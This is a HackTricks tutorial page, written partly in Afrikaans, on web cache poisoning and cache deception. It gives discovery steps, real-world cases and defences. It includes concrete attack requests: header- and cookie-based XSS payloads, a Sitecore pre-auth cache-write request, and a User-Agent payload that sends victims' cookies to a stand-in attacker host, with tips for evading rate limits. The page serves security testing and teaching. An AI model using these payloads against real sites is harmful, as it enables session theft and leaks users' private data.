Cache Poisoning and Cache Deception

Reading time: 18 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Die verskil

Wat is die verskil tussen web cache poisoning en web cache deception?

  • In web cache poisoning, die aanvaller veroorsaak dat die toepassing skadelike inhoud in die cache stoor, en hierdie inhoud word uit die cache aan ander gebruikers van die toepassing bedien.
  • In web cache deception, die aanvaller laat die toepassing sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache terug.

Cache Poisoning

Cache poisoning is gemik op die manipulasie van die client-side cache om kliënte te dwing om hulpbronne te laai wat onverwag, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak hang af van die gewildheid van die geraakte bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers wat die bladsy besoek gedurende die tydperk van cache-besoedeling bedien word.

Die uitvoering van 'n cache poisoning-aanval behels verskeie stappe:

  1. Identification of Unkeyed Inputs: Dit is parameters wat, alhoewel nie vereis vir 'n versoek om in die cache gestoor te word nie, die reaksie wat deur die bediener teruggestuur word kan verander. Om hierdie insette te identifiseer is noodsaaklik aangesien hulle uitgebuit kan word om die cache te manipuleer.
  2. Exploitation of the Unkeyed Inputs: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters misbruik te maak om die bediener se reaksie op 'n wyse te verander wat tot voordeel van die aanvaller is.
  3. Ensuring the Poisoned Response is Cached: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die cache gestoor word. Sodoende sal enige gebruiker wat die geraakte bladsy besoek terwyl die cache besoedel is, die besoedelde reaksie ontvang.

Ontdekking: Kontroleer HTTP headers

Gewoonlik, wanneer 'n reaksie in die cache gestoor is, sal daar 'n header aandui dat dit so is; jy kan kyk na watter headers jy aandag moet gee in hierdie pos: HTTP Cache headers.

Ontdekking: Caching foutkoade

As jy dink dat die reaksie in 'n cache gestoor word, kan jy probeer om versoeke met 'n slegte header te stuur, wat met 'n statuskode 400 behoort te reageer. Probeer dan die versoek normaal benader en as die reaksie 'n 400 statuskode is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).

Jy kan meer opsies vind in:

Cache Poisoning to DoS

Let wel dat soms hierdie tipes statuskodes nie in die cache gestoor word nie, so hierdie toets dalk nie betroubaar is nie.

Ontdekking: Identifiseer en evalueer unkeyed inputs

Jy kan Param Miner gebruik om parameters en headers te brute-force wat moontlik die reaksie van die bladsy verander. Byvoorbeeld, 'n bladsy kan die header X-Forwarded-For gebruik om aan te dui dat die kliënt die script van daar moet laai:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

Sodra die parameter/header geïdentifiseer is, kyk hoe dit gesanitiseer word en waar dit weerspieël of die response deur die header beïnvloed. Kan jy dit tog misbruik (uitvoer 'n XSS of 'n JS-kode wat jy beheer laai? 'n DoS uitvoer?...)

Get the response cached

Sodra jy die bladsy geïdentifiseer het wat misbruik kan word, watter parameter/header om te gebruik en hoe om dit te misbruik, moet jy die bladsy in die cache kry. Afhangend van die resource wat jy probeer kry in die cache kan dit 'n rukkie neem; jy mag vir verskeie sekondes moet probeer.

Die header X-Cache in die response kan baie nuttig wees aangesien dit die waarde miss kan hê wanneer die versoek nie in die cache was nie en die waarde hit wanneer dit in die cache is.
Die header Cache-Control is ook interessant om te weet of 'n resource in die cache is en wanneer dit die volgende keer weer in die cache sal gaan: Cache-Control: public, max-age=1800

Nog 'n interessante header is Vary. Hierdie header word dikwels gebruik om aanvullende headers aan te dui wat as deel van die cache key behandel word, selfs al is hulle normaalweg nie gekeyed nie. Daarom, as die gebruiker die User-Agent van die teiken ken, kan hy die cache vir gebruikers wat daardie spesifieke User-Agent gebruik, poison.

Nog 'n header wat met die cache verband hou is Age. Dit definieer die tyd in sekondes wat die objek in die proxy cache was.

Wanneer jy 'n versoek in die cache plaas, wees versigtig met die headers wat jy gebruik omdat sommige daarvan onverwags as keyed gebruik kan word en die slagoffer dieselfde header sal moet gebruik. Toets altyd 'n Cache Poisoning met verskillende browsers om te kyk of dit werk.

Voorbeelde van uitbuiting

Maklikste voorbeeld

'n header soos X-Forwarded-For word ongesanitiseerd in die response weerspieël.
Jy kan 'n basiese XSS payload stuur en die cache poison sodat almal wat toegang tot die bladsy kry XSSed sal word:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup word die volgende eenvoudige scenario verduidelik:

  • Die CDN sal enigiets onder /share/ cache
  • Die CDN sal NIE %2F..%2F decodeer of normaliseer nie, daarom kan dit gebruik word as path traversal om toegang te kry tot ander sensitiewe lokasies wat cached sal word soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Die web server SAL %2F..%2F decodeer en normaliseer, en sal antwoord met /api/auth/session, wat die auth token bevat.

Cookies kan ook in die respons van 'n bladsy weerspieël word. As jy dit byvoorbeeld kan misbruik om 'n XSS te veroorsaak, kan jy XSS exploit in verskeie clients wat die kwaadwillige cache-respons laai.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Let wel: as die kwesbare cookie wyd deur gebruikers gebruik word, sal normale versoeke die cache skoonmaak.

Generering van afwykings met skeidingstekens, normalisering en punte

Kyk:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Dit word ook beter verduidelik in:

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

Soms sal jy nodig hê om exploit several unkeyed inputs sodat jy 'n cache kan misbruik. Byvoorbeeld, jy kan 'n Open redirect vind as jy X-Forwarded-Host op 'n domain wat jy beheer stel en X-Forwarded-Scheme op http. As die server alle HTTP versoeke to HTTPS forwarding en die header X-Forwarded-Scheme as die domeinnaam vir die redirect gebruik word, kan jy beheer waarheen die bladsy deur die redirect gewys word.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting met beperkte Varyheader

As jy ontdek dat die X-Host header gebruik word as domeinnaam om 'n JS resource te laai maar die Vary header in die response aandui User-Agent, moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison met daardie user agent:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Stuur 'n GET-versoek met die versoek in die URL en in die body. As die web server dié uit die body gebruik, maar die cache server kas die een uit die URL, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle by die Github-werf gevind het:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Daar is 'n PortSwigger-lab oor dit: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Byvoorbeeld is dit moontlik om parameters in ruby-servers te skei deur die karakter ; in plaas van & te gebruik. Dit kan gebruik word om unkeyed parameter values binne keyed ones te plaas en misbruik daarvan te maak.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Leer hier hoe om Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Die Web Cache Vulnerability Scanner kan gebruik word om outomaties vir web cache poisoning te toets. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Hierdie werklike-wêreld patroon koppel 'n header-gebaseerde reflection primitive aan CDN/WAF-gedrag om die cached HTML wat aan ander gebruikers bedien word betroubaar te poison:

  • Die hoof-HTML reflekteer 'n onbetroubare request header (e.g., User-Agent) in 'n executable context.
  • Die CDN het cache headers verwyder maar daar was 'n internal/origin cache. Die CDN het ook versoeke wat eindig in statiese extensies (e.g., .js) outomaties gecache, terwyl die WAF 'n swakere inhoudsinspeksie op GETs vir statiese assets toegepas het.
  • Kinkels in die request-flow het toegelaat dat 'n versoek na 'n .js-pad die cache key/variant beïnvloed wat gebruik is vir die daaropvolgende hoof-HTML, wat cross-user XSS via header reflection moontlik maak.

Praktiese resep (waargeneem by 'n gewilde CDN/WAF):

  1. Vanaf 'n skoon IP (vermy vorige reputasie-gebaseerde afgrade), stel 'n kwaadwillige User-Agent via jou browser of Burp Proxy Match & Replace.
  2. In Burp Repeater, berei 'n groep van twee requests voor en gebruik "Send group in parallel" (single-packet mode werk die beste):
  • Eerste versoek: GET 'n .js resource pad op dieselfde origin terwyl jy jou kwaadwillige User-Agent stuur.
  • Meteens daarna: GET die hoofblad (/).
  1. Die CDN/WAF routing race plus die outomaties gecachte .js saai dikwels 'n poisoned cached HTML-variant wat dan bedien word aan ander besoekers wat dieselfde cache key-voorwaardes deel (e.g., dieselfde Vary dimensies soos User-Agent).

Voorbeeld header-payload (om non-HttpOnly cookies te eksfiltreer):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operasionele wenke:

  • Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
  • Using an IP from the CDN's own cloud sometimes improves routing consistency.
  • If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.

Impak:

  • If session cookies aren’t HttpOnly, zero-click ATO is possible by mass-exfiltrating document.cookie from all users who are served the poisoned HTML.

Verdedigings:

  • Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
  • Ensure WAF applies content inspection consistently to .js requests and static paths.
  • Set HttpOnly (and Secure, SameSite) on session cookies.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

This skryf ewekansige HTML onder 'n deur die attacker gekose cache key, wat presiese vergiftiging moontlik maak sodra cache keys bekend is.

Vir volledige besonderhede (cache key construction, ItemService enumeration en a chained post‑auth deserialization RCE):

Sitecore

Kwetsbare Voorbeelde

Apache Traffic Server (CVE-2021-27577)

ATS het die fragment in die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gebou op die host, path en query (wat die fragment ignoreer). Dus is die versoek /#/../?r=javascript:alert(1) na die backend gestuur as /#/../?r=javascript:alert(1) en die cache key het nie die payload daarin gehad nie, slegs host, path en query.

GitHub CP-DoS

Deur 'n slegte waarde in die content-type header te stuur, is 'n 405 gekashde reaksie veroorsaak. Die cache key het die cookie bevat, so dit was slegs moontlik om nie-geauthentiseerde gebruikers aan te val.

GitLab + GCP CP-DoS

GitLab gebruik GCP buckets om statiese inhoud te stoor. GCP Buckets ondersteun die header x-http-method-override. Dus was dit moontlik om die header x-http-method-override: HEAD te stuur en die cache te vergiftig sodat dit 'n leë response body teruggee. Dit kon ook die metode PURGE ondersteun.

Rack Middleware (Ruby on Rails)

In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die x-forwarded-scheme header te neem en dit as die versoek se scheme in te stel. Wanneer die header x-forwarded-scheme: http gestuur word, gebeur 'n 301-omleiding na dieselfde ligging, wat moontlik 'n Denial of Service (DoS) vir daardie hulpbron kan veroorsaak. Boonop kan die toepassing die X-forwarded-host header erken en gebruikers na die gespesifiseerde host herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n attacker se bediener, wat 'n sekuriteitsrisiko inhou.

403 and Storage Buckets

Cloudflare het voorheen 403-responsies gekash. Om S3 of Azure Storage Blobs met verkeerde Authorization headers te probeer bereik, sou 'n 403-respons tot gevolg hê wat gekash is. Alhoewel Cloudflare opgehou het om 403-responses te cache, mag hierdie gedrag steeds in ander proxy-dienste voorkom.

Injecting Keyed Parameters

Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly's Varnish het die size parameter in versoeke gekoos. As 'n URL-encoded weergawe van die parameter (bv. siz%65) ook met 'n verkeerde waarde gestuur is, sou die cache key saamgestel word met die korrekte size parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede size parameter het gelei tot die weglating daarvan deur die cache maar tot die gebruik daarvan deur die backend. Om hieraan 'n waarde van 0 toe te ken het 'n cache-bare 400 Bad Request fout tot gevolg gehad.

User Agent Rules

Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-traffiek gereedskap soos FFUF of Nuclei om bedienerbelasting te bestuur. Ironies kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.

Illegal Header Fields

Die RFC7230 spesifiseer die toelaatbare karakters in headername. Headers wat karakters buite die gespesifiseerde tchar-reeks bevat, behoort ideaal 'n 400 Bad Request response te veroorsaak. In die praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400-fout cacheer, solank die cache-control header nie teenwoordig is nie. 'n Benutbare patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos \, gelei het tot 'n cache-bare 400 Bad Request fout.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Die doel van Cache Deception is om kliënte te laat laai hulpbronne wat deur die cache gestoor gaan word en wat hulle sensitiewe inligting bevat.

First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

Outomatiese Gereedskap

  • toxicache: Golang scanner om web cache poisoning kwetsbaarhede in 'n lys URL's te vind en verskeie injection techniques te toets.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks